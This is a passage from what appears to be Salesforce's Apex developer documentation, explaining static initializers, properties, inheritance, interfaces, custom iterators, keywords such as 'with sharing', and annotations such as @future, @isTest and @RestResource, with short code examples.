Similar to other static code, a static initialization code block is only initialized once on the first use of the class. A class can have any number of either static or instance initialization code blocks. They can appear anywhere in the code body. The code blocks are executed in the order in which they appear in the file, the same as in Java. You can use static initialization code to initialize static final variables and to declare any information that is static, such as a map of values. For example:
public class MyClass { class RGB { Integer red; Integer green; Integer blue; RGB(Integer red, Integer green, Integer blue) { this.red = red; this.green = green; this.blue = blue; } } static Map<String, RGB> colorMap = new Map<String, RGB>(); static { colorMap.put('red', new RGB(255, 0, 0)); colorMap.put('cyan', new RGB(0, 255, 255)); colorMap.put('magenta', new RGB(255, 0, 255)); } }

Apex Properties
An Apex property is similar to a variable, however, you can do additional things in your code to a property value before it is accessed or returned. Properties can be used in many different ways: they can validate data before a change is made; they can prompt an action when data is changed, such as altering the value of other member variables; or they can expose data that is retrieved from some other source, such as another class. Property definitions include one or two code blocks, representing a get accessor and a set accessor: The code in a get accessor executes when the property is read. The code in a set accessor executes when the property is assigned a new value.

A property with only a get accessor is considered read-only. A property with only a set accessor is considered write-only. A property with both accessors is read-write. To declare a property, use the following syntax in the body of a class:
Public class BasicClass { // Property declaration access_modifier return_type property_name { get { //Get accessor code block } set { //Set accessor code block

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Apex Properties

} } }

Where:
access_modifier is the access modifier for the property. The access modifiers that can be applied to properties include: public, private, global, and protected. In addition, these definition modifiers can be applied: static and transient. For more information on access modifiers, see Access Modifiers on page 60. return_type is the type of the property, such as Integer, Double, sObject, and so on. For more information, see Data

Types on page 27. property_name is the name of the property

For example, the following class defines a property named prop. The property is public. The property returns an integer data type.
public class BasicProperty { public integer prop { get { return prop; } set { prop = value; } } }

The following code segment calls the class above, exercising the get and set accessors:
BasicProperty bp = new BasicProperty(); bp.prop = 5; // Calls set accessor System.assert(bp.prop == 5); // Calls get accessor

Note the following: The body of the get accessor is similar to that of a method. It must return a value of the property type. Executing the get accessor is the same as reading the value of the variable. The get accessor must end in a return statement. We recommend that your get accessor should not change the state of the object that it is defined on. The set accessor is similar to a method whose return type is void. When you assign a value to the property, the set accessor is invoked with an argument that provides the new value. When the set accessor is invoked, the system passes an implicit argument to the setter called value of the same data type as the property. Properties cannot be defined on interface. Apex properties are based on their counterparts in C#, with the following differences: Properties provide storage for values directly. You do not need to create supporting members for storing values. It is possible to create automatic properties in Apex. For more information, see Using Automatic Properties on page 65. Using Automatic Properties Properties do not require additional code in their get or set accessor code blocks. Instead, you can leave get and set accessor code blocks empty to define an automatic property. Automatic properties allow you to write more compact code that is easier to debug and maintain. They can be declared as read-only, read-write, or write-only. The following example creates three automatic properties:
public class AutomaticProperty { public integer MyReadOnlyProp { get; } public double MyReadWriteProp { get; set; }

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Extending a Class

public string MyWriteOnlyProp { set; } }

The following code segment exercises these properties:

AutomaticProperty ap = new AutomaticProperty(); ap.MyReadOnlyProp = 5; // This produces a compile error: not writable ap.MyReadWriteProp = 5; // No error System.assert(MyWriteOnlyProp == 5); // This produces a compile error: not readable

Using Static Properties When a property is declared as static, the property's accessor methods execute in a static context. This means that the accessors do not have access to non-static member variables defined in the class. The following example creates a class with both static and instance properties:
public class StaticProperty { public static integer StaticMember; public integer NonStaticMember; public static integer MyGoodStaticProp { get{return MyGoodStaticProp;} } // The following produces a system error // public static integer MyBadStaticProp { return NonStaticMember; } public integer MyGoodNonStaticProp { get{return NonStaticMember;} } }

The following code segment calls the static and instance properties:
StaticProperty sp = new StaticProperty(); // The following produces a system error: a static variable cannot be // accessed through an object instance // sp.MyGoodStaticProp = 5; // The following does not produce an error StaticProperty.MyGoodStaticProp = 5;

Using Access Modifiers on Property Accessors Property accessors can be defined with their own access modifiers. If an accessor includes its own access modifier, this modifier overrides the access modifier of the property. The access modifier of an individual accessor must be more restrictive than the access modifier on the property itself. For example, if the property has been defined as public, the individual accessor cannot be defined as global. The following class definition shows additional examples:
global virtual class PropertyVisibility { // X is private for read and public for write public integer X { private get; set; } // Y can be globally read but only written within a class global integer Y { get; public set; } // Z can be read within the class but only subclasses can set it public integer Z { get; protected set; } }

Extending a Class
You can extend a class to provide a more specialized behavior.

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Extending a Class

A class that extends another class inherits all the methods and properties of the extended class. In addition, the extending class can override the existing virtual methods by using the override keyword in the method definition. Overriding a virtual method allows you to provide a different implementation for an existing method. This means that the behavior of a particular method is different based on the object youre calling it on. This is referred to as polymorphism. A class extends another class using the extends keyword in the class definition. A class can only extend one other class, but it can implement more than one interface. This example shows how to extend a class. The YellowMarker class extends the Marker class.
public virtual class Marker { public virtual void write() { System.debug('Writing some text.'); } public virtual Double discount() { return .05; } } // Extension for the Marker class public class YellowMarker extends Marker { public override void write() { System.debug('Writing some text using the yellow marker.'); } }

This code segment shows polymorphism. The example declares two objects of the same type (Marker). Even though both objects are markers, the second object is assigned to an instance of the YellowMarker class. Hence, calling the write method on it yields a different result than calling this method on the first object because this method has been overridden. Note that we can call the discount method on the second object even though this method isnt part of the YellowMarker class definition, but it is part of the extended class, and hence is available to the extending class, YellowMarker.
Marker obj1, obj2; obj1 = new Marker(); // This outputs 'Writing some text.' obj1.write(); obj2 = new YellowMarker(); // This outputs 'Writing some text using the yellow marker.' obj2.write(); // We get the discount method for free // and can call it from the YellowMarker instance. Double d = obj2.discount();

The extending class can have more method definitions that arent common with the original extended class. For example, the RedMarker class below extends the Marker class and has one extra method, computePrice, that isnt available for the Marker class. To call the extra methods, the object type must be the extending class.
// Extension for the Marker class public class RedMarker extends Marker { public override void write() { System.debug('Writing some text in red.'); } // Method only in this class public Double computePrice() { return 1.5; } }

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Extended Class Example

This shows how to call the additional method on the RedMarker class.
RedMarker obj = new RedMarker(); // Call method specific to RedMarker only Double price = obj.computePrice();

Extensions also apply to interfacesan interface can extend another interface. As with classes, when an interface extends another interface, all the methods and properties of the extended interface are available to the extending interface.

Extended Class Example

The following is an extended example of a class, showing all the features of Apex classes. The keywords and concepts introduced in the example are explained in more detail throughout this chapter.
// Top-level (outer) class must be public or global (usually public unless they contain // a Web Service, then they must be global) public class OuterClass { // Static final variable (constant) outer class level only private static final Integer MY_INT; // Non-final static variable - use this to communicate state across triggers // within a single request) public static String sharedState; // Static method - outer class level only public static Integer getInt() { return MY_INT; } // Static initialization (can be included where the variable is defined) static { MY_INT = 2; } // Member variable for outer class private final String m; // Instance initialization block - can be done where the variable is declared, // or in a constructor { m = 'a'; } // Because no constructor is explicitly defined in this outer class, an implicit, // no-argument, public constructor exists // Inner interface public virtual interface MyInterface { // No access modifier is necessary for interface methods - these are always // public or global depending on the interface visibility void myMethod(); } // Interface extension interface MySecondInterface extends MyInterface { Integer method2(Integer i); } // Inner class - because it is virtual it can be extended. // This class implements an interface that, in turn, extends another interface. // Consequently the class must implement all methods. public virtual class InnerClass implements MySecondInterface { // Inner member variables private final String s;

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Extended Class Example

private final String s2; // Inner instance initialization block (this code could be located above) { this.s = 'x'; } // Inline initialization (happens after the block above executes) private final Integer i = s.length(); // Explicit no argument constructor InnerClass() { // This invokes another constructor that is defined later this('none'); } // Constructor that assigns a final variable value public InnerClass(String s2) { this.s2 = s2; } // Instance method that implements a method from MyInterface. // Because it is declared virtual it can be overridden by a subclass. public virtual void myMethod() { /* does nothing */ } // Implementation of the second interface method above. // This method references member variables (with and without the "this" prefix) public Integer method2(Integer i) { return this.i + s.length(); } } // Abstract class (that subclasses the class above). No constructor is needed since // parent class has a no-argument constructor public abstract class AbstractChildClass extends InnerClass { // Override the parent class method with this signature. // Must use the override keyword public override void myMethod() { /* do something else */ } // Same name as parent class method, but different signature. // This is a different method (displaying polymorphism) so it does not need // to use the override keyword protected void method2() {} // Abstract method - subclasses of this class must implement this method abstract Integer abstractMethod(); } // Complete the abstract class by implementing its abstract method public class ConcreteChildClass extends AbstractChildClass { // Here we expand the visibility of the parent method - note that visibility // cannot be restricted by a sub-class public override Integer abstractMethod() { return 5; } } // A second sub-class of the original InnerClass public class AnotherChildClass extends InnerClass { AnotherChildClass(String s) { // Explicitly invoke a different super constructor than one with no arguments super(s); } } // Exception inner class public virtual class MyException extends Exception { // Exception class member variable public Double d; // Exception class constructor MyException(Double d) { this.d = d;

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Extended Class Example

} // Exception class method, marked as protected protected void doIt() {} } // Exception classes can be abstract and implement interfaces public abstract class MySecondException extends Exception implements MyInterface { } }

This code example illustrates: A top-level class definition (also called an outer class) Static variables and static methods in the top-level class, as well as static initialization code blocks Member variables and methods for the top-level class Classes with no user-defined constructor these have an implicit, no-argument constructor An interface definition in the top-level class An interface that extends another interface Inner class definitions (one level deep) within a top-level class A class that implements an interface (and, therefore, its associated sub-interface) by implementing public versions of the method signatures An inner class constructor definition and invocation An inner class member variable and a reference to it using the this keyword (with no arguments) An inner class constructor that uses the this keyword (with arguments) to invoke a different constructor Initialization code outside of constructors both where variables are defined, as well as with anonymous blocks in curly braces ({}). Note that these execute with every construction in the order they appear in the file, as with Java. Class extension and an abstract class Methods that override base class methods (which must be declared virtual) The override keyword for methods that override subclass methods Abstract methods and their implementation by concrete sub-classes The protected access modifier Exceptions as first class objects with members, methods, and constructors

This example shows how the class above can be called by other Apex code:
// Construct an instance of an inner concrete class, with a user-defined constructor OuterClass.InnerClass ic = new OuterClass.InnerClass('x'); // Call user-defined methods in the class System.assertEquals(2, ic.method2(1)); // Define a variable with an interface data type, and assign it a value that is of // a type that implements that interface OuterClass.MyInterface mi = ic; // Use instanceof and casting as usual OuterClass.InnerClass ic2 = mi instanceof OuterClass.InnerClass ? (OuterClass.InnerClass)mi : null; System.assert(ic2 != null); // Construct the outer type OuterClass o = new OuterClass(); System.assertEquals(2, OuterClass.getInt()); // Construct instances of abstract class children System.assertEquals(5, new OuterClass.ConcreteChildClass().abstractMethod());

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Understanding Interfaces

// Illegal - cannot construct an abstract class // new OuterClass.AbstractChildClass(); // Illegal cannot access a static method through an instance // o.getInt(); // Illegal - cannot call protected method externally // new OuterClass.ConcreteChildClass().method2();

This code example illustrates: Construction of the outer class Construction of an inner class and the declaration of an inner interface type A variable declared as an interface type can be assigned an instance of a class that implements that interface Casting an interface variable to be a class type that implements that interface (after verifying this using the instanceof operator)

Understanding Interfaces
An interface is like a class in which none of the methods have been implementedthe method signatures are there, but the body of each method is empty. To use an interface, another class must implement it by providing a body for all of the methods contained in the interface. Interfaces can provide a layer of abstraction to your code. They separate the specific implementation of a method from the declaration for that method. This way you can have different implementations of a method based on your specific application. Defining an interface is similar to defining a new class. For example, a company might have two types of purchase orders, ones that come from customers, and others that come from their employees. Both are a type of purchase order. Suppose you needed a method to provide a discount. The amount of the discount can depend on the type of purchase order. You can model the general concept of a purchase order as an interface and have specific implementations for customers and employees. In the following example the focus is only on the discount aspect of a purchase order. This is the definition of the PurchaseOrder interface.
// An interface that defines what a purchase order looks like in general public interface PurchaseOrder { // All other functionality excluded Double discount(); }

This class implements the PurchaseOrder interface for customer purchase orders.
// One implementation of the interface for customers public class CustomerPurchaseOrder implements PurchaseOrder { public Double discount() { return .05; // Flat 5% discount } }

This class implements the PurchaseOrder interface for employee purchase orders.
// Another implementation of the interface for employees public class EmployeePurchaseOrder implements PurchaseOrder { public Double discount() { return .10; // Its worth it being an employee! 10% discount } }

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Custom Iterators

Note the following about the above example: The interface PurchaseOrder is defined as a general prototype. Methods defined within an interface have no access modifiers and contain just their signature. The CustomerPurchaseOrder class implements this interface; therefore, it must provide a definition for the discount method. As with Java, any class that implements an interface must define all of the methods contained in the interface.

When you define a new interface, you are defining a new data type. You can use an interface name in any place you can use another data type name. If you define a variable whose type is an interface, any object you assign to it must be an instance of a class that implements the interface, or a sub-interface data type. See also Classes and Casting on page 86. Note: You cannot add a method to a global interface after the class has been uploaded in a Managed - Released package version.

Custom Iterators
An iterator traverses through every item in a collection. For example, in a while loop in Apex, you define a condition for exiting the loop, and you must provide some means of traversing the collection, that is, an iterator. In the following example, count is incremented by 1 every time the loop is executed (count++) :
while (count < 11) { System.debug(count); count++; }

Using the Iterator interface you can create a custom set of instructions for traversing a List through a loop. This is useful for data that exists in sources outside of Salesforce that you would normally define the scope of using a SELECT statement. Iterators can also be used if you have multiple SELECT statements. Using Custom Iterators To use custom iterators, you must create an Apex class that implements the Iterator interface. The Iterator interface has the following instance methods: Name
hasNext

Arguments

Returns Boolean Any type

Description Returns true if there is another item in the collection being traversed, false otherwise. Returns the next item in the collection.

next

All methods in the Iterator interface must be declared as global or public. You can only use a custom iterator in a while loop. For example:
IterableString x = new IterableString('This is a really cool test.'); while(x.hasNext()){ system.debug(x.next()); }

Iterators are not currently supported in for loops.

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Custom Iterators

Using Custom Iterators with Iterable If you do not want to use a custom iterator with a list, but instead want to create your own data structure, you can use the Iterable interface to generate the data structure. The Iterable interface has the following method: Name
iterator

Arguments

Returns Iterator class

Description Returns a reference to the iterator for this interface.

The iterator method must be declared as global or public. It creates a reference to the iterator that you can then use to traverse the data structure. In the following example a custom iterator iterates through a collection:
global class CustomIterable implements Iterator<Account>{ List<Account> accs {get; set;} Integer i {get; set;} public CustomIterable(){ accs = [SELECT Id, Name, NumberOfEmployees FROM Account WHERE Name = 'false']; i = 0; } global boolean hasNext(){ if(i >= accs.size()) { return false; } else { return true; } } global Account next(){ // 8 is an arbitrary // constant in this example // that represents the // maximum size of the list. if(i == 8){return null;} i++; return accs[i-1]; } }

The following calls the above code:

global class foo implements iterable<Account>{ global Iterator<Account> Iterator(){ return new CustomIterable(); } }

The following is a batch job that uses an iterator:

global class batchClass implements Database.batchable<Account>{ global Iterable<Account> start(Database.batchableContext info){ return new foo(); } global void execute(Database.batchableContext info, List<Account> scope){

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Keywords

List<Account> accsToUpdate = new List<Account>(); for(Account a : scope){ a.Name = 'true'; a.NumberOfEmployees = 69; accsToUpdate.add(a); } update accsToUpdate; } global void finish(Database.batchableContext info){ } }

Keywords
Apex has the following keywords available:
final instanceof super this transient with sharing and without sharing

Using the final Keyword

You can use the final keyword to modify variables. Final variables can only be assigned a value once, either when you declare a variable or in initialization code. You must assign a value to it in one of these two places. Static final variables can be changed in static initialization code or where defined. Member final variables can be changed in initialization code blocks, constructors, or with other variable declarations. To define a constant, mark a variable as both static and final. Non-final static variables are used to communicate state at the class level (such as state between triggers). However, they are not shared across requests. Methods and classes are final by default. You cannot use the final keyword in the declaration of a class or method. This means they cannot be overridden. Use the virtual keyword if you need to override a method or class.

Using the instanceof Keyword

If you need to verify at runtime whether an object is actually an instance of a particular class, use the instanceof keyword. The instanceof keyword can only be used to verify if the target type in the expression on the right of the keyword is a viable alternative for the declared type of the expression on the left. You could add the following check to the Report class in the classes and casting example before you cast the item back into a CustomReport object.
If (Reports.get(0) instanceof CustomReport) { // Can safely cast it back to a custom report object CustomReport c = (CustomReport) Reports.get(0); } Else { // Do something with the non-custom-report. }

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Using the super Keyword

Using the super Keyword

The super keyword can be used by classes that are extended from virtual or abstract classes. By using super, you can override constructors and methods from the parent class. For example, if you have the following virtual class:
public virtual class SuperClass { public String mySalutation; public String myFirstName; public String myLastName; public SuperClass() { mySalutation = 'Mr.'; myFirstName = 'Carl'; myLastName = 'Vonderburg'; } public SuperClass(String salutation, String firstName, String lastName) { mySalutation = salutation; myFirstName = firstName; myLastName = lastName; } public virtual void printName() { System.debug('My name is ' + mySalutation + myLastName); } public virtual String getFirstName() { return myFirstName; } }

You can create the following class that extends Superclass and overrides its printName method:
public class Subclass extends Superclass { public override void printName() { super.printName(); System.debug('But you can call me ' + super.getFirstName()); } }

The expected output when calling Subclass.printName is My name is Mr. Vonderburg. But you can call me Carl. You can also use super to call constructors. Add the following constructor to SubClass:
public Subclass() { super('Madam', 'Brenda', 'Clapentrap'); }

Now, the expected output of Subclass.printName is My name is Madam Clapentrap. But you can call me Brenda. Best Practices for Using the super Keyword Only classes that are extending from virtual or abstract classes can use super. You can only use super in methods that are designated with the override keyword. 75

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Using the this Keyword

Using the this Keyword

There are two different ways of using the this keyword. You can use the this keyword in dot notation, without parenthesis, to represent the current instance of the class in which it appears. Use this form of the this keyword to access instance variables and methods. For example:
public class myTestThis { string s; { this.s = 'TestString'; } }

In the above example, the class myTestThis declares an instance variable s. The initialization code populates the variable using the this keyword. Or you can use the this keyword to do constructor chaining, that is, in one constructor, call another constructor. In this format, use the this keyword with parentheses. For example:
public class testThis { // First constructor for the class. It requires a string parameter. public testThis(string s2) { } // Second constructor for the class. It does not require a parameter. // This constructor calls the first constructor using the this keyword. public testThis() { this('None'); } }

When you use the this keyword in a constructor to do constructor chaining, it must be the first statement in the constructor.

Using the transient Keyword

Use the transient keyword to declare instance variables that can't be saved, and shouldn't be transmitted as part of the view state for a Visualforce page. For example:
Transient Integer currentTotal;

You can also use the transient keyword in Apex classes that are serializable, namely in controllers, controller extensions, or classes that implement the Batchable or Schedulable interface. In addition, you can use transient in classes that define the types of fields declared in the serializable classes. Declaring variables as transient reduces view state size. A common use case for the transient keyword is a field on a Visualforce page that is needed only for the duration of a page request, but should not be part of the page's view state and would use too many system resources to be recomputed many times during a request. Some Apex objects are automatically considered transient, that is, their value does not get saved as part of the page's view state. These objects include the following: PageReferences XmlStream classes

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Using the with sharing or without sharing Keywords

Collections automatically marked as transient only if the type of object that they hold is automatically marked as transient, such as a collection of Savepoints Most of the objects generated by system methods, such as Schema.getGlobalDescribe. JSONParser class instances.

Static variables also don't get transmitted through the view state. The following example contains both a Visualforce page and a custom controller. Clicking the refresh button on the page causes the transient date to be updated because it is being recreated each time the page is refreshed. The non-transient date continues to have its original value, which has been deserialized from the view state, so it remains the same.
<apex:page controller="ExampleController"> T1: {!t1} <br/> T2: {!t2} <br/> <apex:form> <apex:commandLink value="refresh"/> </apex:form> </apex:page> public class ExampleController { DateTime t1; transient DateTime t2; public String getT1() { if (t1 == null) t1 = System.now(); return '' + t1; } public String getT2() { if (t2 == null) t2 = System.now(); return '' + t2; } }

See Also:
JSONParser Class

Using the with sharing or without sharing Keywords

Use the with sharing or without sharing keywords on a class to specify whether or not to enforce sharing rules. The with sharing keyword allows you to specify that the sharing rules for the current user be taken into account for a class. You have to explicitly set this keyword for the class because Apex code runs in system context. In system context, Apex code has access to all objects and fields object permissions, field-level security, sharing rules arent applied for the current user. This is to ensure that code wont fail to run because of hidden fields or objects for a user. The only exceptions to this rule are Apex code that is executed with the executeAnonymous call and Chatter in Apex. executeAnonymous always executes using the full permissions of the current user. For more information on executeAnonymous, see Anonymous Blocks on page 187. Use the with sharing keywords when declaring a class to enforce the sharing rules that apply to the current user. For example:
public with sharing class sharingClass { // Code here }

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Annotations

Use the without sharing keywords when declaring a class to ensure that the sharing rules for the current user are not enforced. For example:
public without sharing class noSharing { // Code here }

Some things to note about sharing keywords: The sharing setting of the class where the method is defined is applied, not of the class where the method is called. For example, if a method is defined in a class declared with with sharing is called by a class declared with without sharing, the method will execute with sharing rules enforced. If a class isnt declared as either with or without sharing, the current sharing rules remain in effect. This means that if the class is called by a class that has sharing enforced, then sharing is enforced for the called class. Both inner classes and outer classes can be declared as with sharing. The sharing setting applies to all code contained in the class, including initialization code, constructors, and methods. Inner classes do not inherit the sharing setting from their container class. Classes inherit this setting from a parent class when one class extends or implements another.

Annotations
An Apex annotation modifies the way a method or class is used, similar to annotations in Java. Annotations are defined with an initial @ symbol, followed by the appropriate keyword. To add an annotation to a method, specify it immediately before the method or class definition. For example:

global class MyClass { @future Public static void myMethod(String a) { //long-running Apex code } }

Apex supports the following annotations:

@Deprecated @Future @IsTest @ReadOnly @RemoteAction @TestVisible

Apex REST annotations:

@RestResource(urlMapping='/yourUrl') @HttpDelete @HttpGet @HttpPatch @HttpPost @HttpPut

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Deprecated Annotation

Deprecated Annotation
Use the deprecated annotation to identify methods, classes, exceptions, enums, interfaces, or variables that can no longer be referenced in subsequent releases of the managed package in which they reside. This is useful when you are refactoring code in managed packages as the requirements evolve. New subscribers cannot see the deprecated elements, while the elements continue to function for existing subscribers and API integrations. The following code snippet shows a deprecated method. The same syntax can be used to deprecate classes, exceptions, enums, interfaces, or variables.
@deprecated // This method is deprecated. Use myOptimizedMethod(String a, String b) instead. global void myMethod(String a) { }

Note the following rules when deprecating Apex identifiers: Unmanaged packages cannot contain code that uses the deprecated keyword. When an Apex item is deprecated, all global access modifiers that reference the deprecated identifier must also be deprecated. Any global method that uses the deprecated type in its signature, either in an input argument or the method return type, must also be deprecated. A deprecated item, such as a method or a class, can still be referenced internally by the package developer. webService methods and variables cannot be deprecated. You can deprecate an enum but you cannot deprecate individual enum values. You can deprecate an interface but you cannot deprecate individual methods in an interface. You can deprecate an abstract class but you cannot deprecate individual abstract methods in an abstract class. You cannot remove the deprecated annotation to undeprecate something in Apex after you have released a package version where that item in Apex is deprecated.

For more information about package versions, see What is a Package? on page 398.

Future Annotation
Use the future annotation to identify methods that are executed asynchronously. When you specify future, the method executes when Salesforce has available resources. For example, you can use the future annotation when making an asynchronous Web service callout to an external service. Without the annotation, the Web service callout is made from the same thread that is executing the Apex code, and no additional processing can occur until the callout is complete (synchronous processing). Methods with the future annotation must be static methods, and can only return a void type. The specified parameters must be primitive data types, arrays of primitive data types, or collections of primitive data types. Methods with the future annotation cannot take sObjects or objects as arguments. To make a method in a class execute asynchronously, define the method with the future annotation. For example:
global class MyFutureClass { @future static void myMethod(String a, Integer i) { System.debug('Method called with: ' + a + ' and ' + i); // Perform long-running code } }

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Specify (callout=true) to allow callouts in a future method. Specify (callout=false) to prevent a method from making callouts. The following snippet shows how to specify that a method executes a callout:
@future (callout=true) public static void doCalloutFromFuture() { //Add code to perform callout }

Future Method Considerations Remember that any method using the future annotation requires special consideration because the method does not necessarily execute in the same order it is called. Methods with the future annotation cannot be used in Visualforce controllers in either getMethodName or setMethodName methods, nor in the constructor. You cannot call a method annotated with future from a method that also has the future annotation. Nor can you call a trigger from an annotated method that calls another annotated method. The getContent and getContentAsPDF PageReference methods cannot be used in methods with the future annotation.

IsTest Annotation
Use the isTest annotation to define classes and methods that only contain code used for testing your application. The isTest annotation on methods is equivalent to the testMethod keyword. Note: Classes defined with the isTest annotation don't count against your organization limit of 3 MB for all Apex code. Classes and methods defined as isTest can be either private or public. Classes defined as isTest must be top-level classes. This is an example of a private test class that contains two test methods.
@isTest private class MyTestClass { // Methods for testing @isTest static void test1() { // Implement test code } @isTest static void test2() { // Implement test code } }

This is an example of a public test class that contains utility methods for test data creation:
@isTest public class TestUtil { public static void createTestAccounts() { // Create some test accounts } public static void createTestContacts() { // Create some test contacts

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} }

Classes defined as isTest can't be interfaces or enums. Methods of a public test class can only be called from a running test, that is, a test method or code invoked by a test method, and can't be called by a non-test request.. To learn about the various ways you can run test methods, see Running Unit Test Methods.
IsTest(SeeAllData=true) Annotation

For Apex code saved using Salesforce.com API version 24.0 and later, use the isTest(SeeAllData=true) annotation to grant test classes and individual test methods access to all data in the organization, including pre-existing data that the test didnt create. Starting with Apex code saved using Salesforce.com API version 24.0, test methods dont have access by default to pre-existing data in the organization. However, test code saved against Salesforce.com API version 23.0 and earlier continues to have access to all data in the organization and its data access is unchanged. See Isolation of Test Data from Organization Data in Unit Tests on page 373. Considerations for the IsTest(SeeAllData=true) Annotation If a test class is defined with the isTest(SeeAllData=true) annotation, this annotation applies to all its test methods whether the test methods are defined with the @isTest annotation or the testmethod keyword. The isTest(SeeAllData=true) annotation is used to open up data access when applied at the class or method level. However, using isTest(SeeAllData=false) on a method doesnt restrict organization data access for that method if the containing class has already been defined with the isTest(SeeAllData=true) annotation. In this case, the method will still have access to all the data in the organization.

This example shows how to define a test class with the isTest(SeeAllData=true) annotation. All the test methods in this class have access to all data in the organization.
// All test methods in this class can access all data. @isTest(SeeAllData=true) public class TestDataAccessClass { // This test accesses an existing account. // It also creates and accesses a new test account. static testmethod void myTestMethod1() { // Query an existing account in the organization. Account a = [SELECT Id, Name FROM Account WHERE Name='Acme' LIMIT 1]; System.assert(a != null); // Create a test account based on the queried account. Account testAccount = a.clone(); testAccount.Name = 'Acme Test'; insert testAccount; // Query the test account that was inserted. Account testAccount2 = [SELECT Id, Name FROM Account WHERE Name='Acme Test' LIMIT 1]; System.assert(testAccount2 != null); } // Like the previous method, this test method can also access all data // because the containing class is annotated with @isTest(SeeAllData=true). @isTest static void myTestMethod2() { // Can access all data in the organization. } }

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This second example shows how to apply the isTest(SeeAllData=true) annotation on a test method. Because the class that the test method is contained in isnt defined with this annotation, you have to apply this annotation on the test method to enable access to all data for that test method. The second test method doesnt have this annotation, so it can access only the data it creates in addition to objects that are used to manage your organization, such as users.
// This class contains test methods with different data access levels. @isTest private class ClassWithDifferentDataAccess { // Test method that has access to all data. @isTest(SeeAllData=true) static void testWithAllDataAccess() { // Can query all data in the organization. } // Test method that has access to only the data it creates // and organization setup and metadata objects. @isTest static void testWithOwnDataAccess() { // This method can still access the User object. // This query returns the first user object. User u = [SELECT UserName,Email FROM User LIMIT 1]; System.debug('UserName: ' + u.UserName); System.debug('Email: ' + u.Email); // Can access the test account that is created here. Account a = new Account(Name='Test Account'); insert a; // Access the account that was just created. Account insertedAcct = [SELECT Id,Name FROM Account WHERE Name='Test Account']; System.assert(insertedAcct != null); } }

IsTest(OnInstall=true) Annotation

Use the IsTest(OnInstall=true) annotation to specify which Apex tests are executed during package installation. This annotation is used for tests in managed or unmanaged packages. Only test methods with this annotation, or methods that are part of a test class that has this annotation, will be executed during package installation. Tests annotated to run during package installation must pass in order for the package installation to succeed. It is no longer possible to bypass a failing test during package installation. A test method or a class that doesn't have this annotation, or that is annotated with isTest(OnInstall=false) or isTest, won't be executed during installation. This example shows how to annotate a test method that will be executed during package installation. In this example, test1 will be executed but test2 and test3 won't.
public class OnInstallClass { // Implement logic for the class. public void method1(){ // Some code } } @isTest private class OnInstallClassTest { // This test method will be executed // during the installation of the package. @isTest(OnInstall=true) static void test1() { // Some test code } // Tests excluded from running during the // the installation of a package.

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ReadOnly Annotation

@isTest static void test2() { // Some test code } static testmethod void test3() { // Some test code } }

ReadOnly Annotation
The @ReadOnly annotation allows you to perform unrestricted queries against the Force.com database. All other limits still apply. It's important to note that this annotation, while removing the limit of the number of returned rows for a request, blocks you from performing the following operations within the request: DML operations, calls to System.schedule, calls to methods annotated with @future, and sending emails. The @ReadOnly annotation is available for Web services and the Schedulable interface. To use the @ReadOnly annotation, the top level request must be in the schedule execution or the Web service invocation. For example, if a Visualforce page calls a Web service that contains the @ReadOnly annotation, the request fails because Visualforce is the top level request, not the Web service. Visualforce pages can call controller methods with the @ReadOnly annotation, and those methods will run with the same relaxed restrictions. To increase other Visualforce-specific limits, such as the size of a collection that can be used by an iteration component like <apex:pageBlockTable>, you can set the readonly attribute on the <apex:page> tag to true. For more information, see Working with Large Sets of Data in the Visualforce Developer's Guide.

RemoteAction Annotation
The RemoteAction annotation provides support for Apex methods used in Visualforce to be called via JavaScript. This process is often referred to as JavaScript remoting. Note: Methods with the RemoteAction annotation must be static and either global or public.

To use JavaScript remoting in a Visualforce page, add the request as a JavaScript invocation with the following form:
[namespace.]controller.method( [parameters...,] callbackFunction, [configuration] );

namespace is the namespace of the controller class. This is required if your organization has a namespace defined, or if

the class comes from an installed package. controller is the name of your Apex controller. method is the name of the Apex method youre calling. parameters is the comma-separated list of parameters that your method takes. callbackFunction is the name of the JavaScript function that will handle the response from the controller. You can also declare an anonymous function inline. callbackFunction receives the status of the method call and the result as parameters. configuration configures the handling of the remote call and response. Use this to change the behavior of a remoting call, such as whether or not to escape the Apex methods response.

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TestVisible Annotation

In your controller, your Apex method declaration is preceded with the @RemoteAction annotation like this:
@RemoteAction global static String getItemId(String objectName) { ... }

Your method can take Apex primitives, collections, typed and generic sObjects, and user-defined Apex classes and interfaces as arguments. Generic sObjects must have an ID or sobjectType value to identify actual type. Interface parameters must have an apexType to identify actual type. Your method can return Apex primitives, sObjects, collections, user-defined Apex classes and enums, SaveResult, UpsertResult, DeleteResult, SelectOption, or PageReference. For more information, see JavaScript Remoting for Apex Controllers in the Visualforce Developer's Guide.

TestVisible Annotation
Use the TestVisible annotation to allow test methods to access private or protected members of another class outside the test class. These members include methods, member variables, and inner classes. This annotation enables a more permissive access level for running tests only. This annotation doesnt change the visibility of members if accessed by non-test classes. With this annotation, you dont have to change the access modifiers of your methods and member variables to public if you want to access them in a test method. For example, if a private member variable isnt supposed to be exposed to external classes but it should be accessible by a test method, you can add the TestVisible annotation to the variable definition. This example shows how to annotate a private class member variable and private method with TestVisible.
public class TestVisibleExample { // Private member variable @TestVisible private static Integer recordNumber = 1; // Private method @TestVisible private static void updateRecord(String name) { // Do something } }

This is the test class that uses the previous class. It contains the test method that accesses the annotated member variable and method.
@isTest private class TestVisibleExampleTest { @isTest static void test1() { // Access private variable annotated with TestVisible Integer i = TestVisibleExample.recordNumber; System.assertEquals(1, i); // Access private method annotated with TestVisible TestVisibleExample.updateRecord('RecordName'); // Perform some verification } }

Apex REST Annotations

Six new annotations have been added that enable you to expose an Apex class as a RESTful Web service.
@RestResource(urlMapping='/yourUrl') @HttpDelete @HttpGet

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Apex REST Annotations

@HttpPatch @HttpPost @HttpPut

RestResource Annotation
The @RestResource annotation is used at the class level and enables you to expose an Apex class as a REST resource. These are some considerations when using this annotation: The URL mapping is relative to https://instance.salesforce.com/services/apexrest/. A wildcard character (*) may be used. The URL mapping is case-sensitive. A URL mapping for my_url will only match a REST resource containing my_url and not My_Url. To use this annotation, your Apex class must be defined as global.

URL Guidelines URL path mappings are as follows: The path must begin with a '/' If an '*' appears, it must be preceded by '/' and followed by '/', unless the '*' is the last character, in which case it need not be followed by '/'

The rules for mapping URLs are: An exact match always wins. If no exact match is found, find all the patterns with wildcards that match, and then select the longest (by string length) of those. If no wildcard match is found, an HTTP response status code 404 is returned.

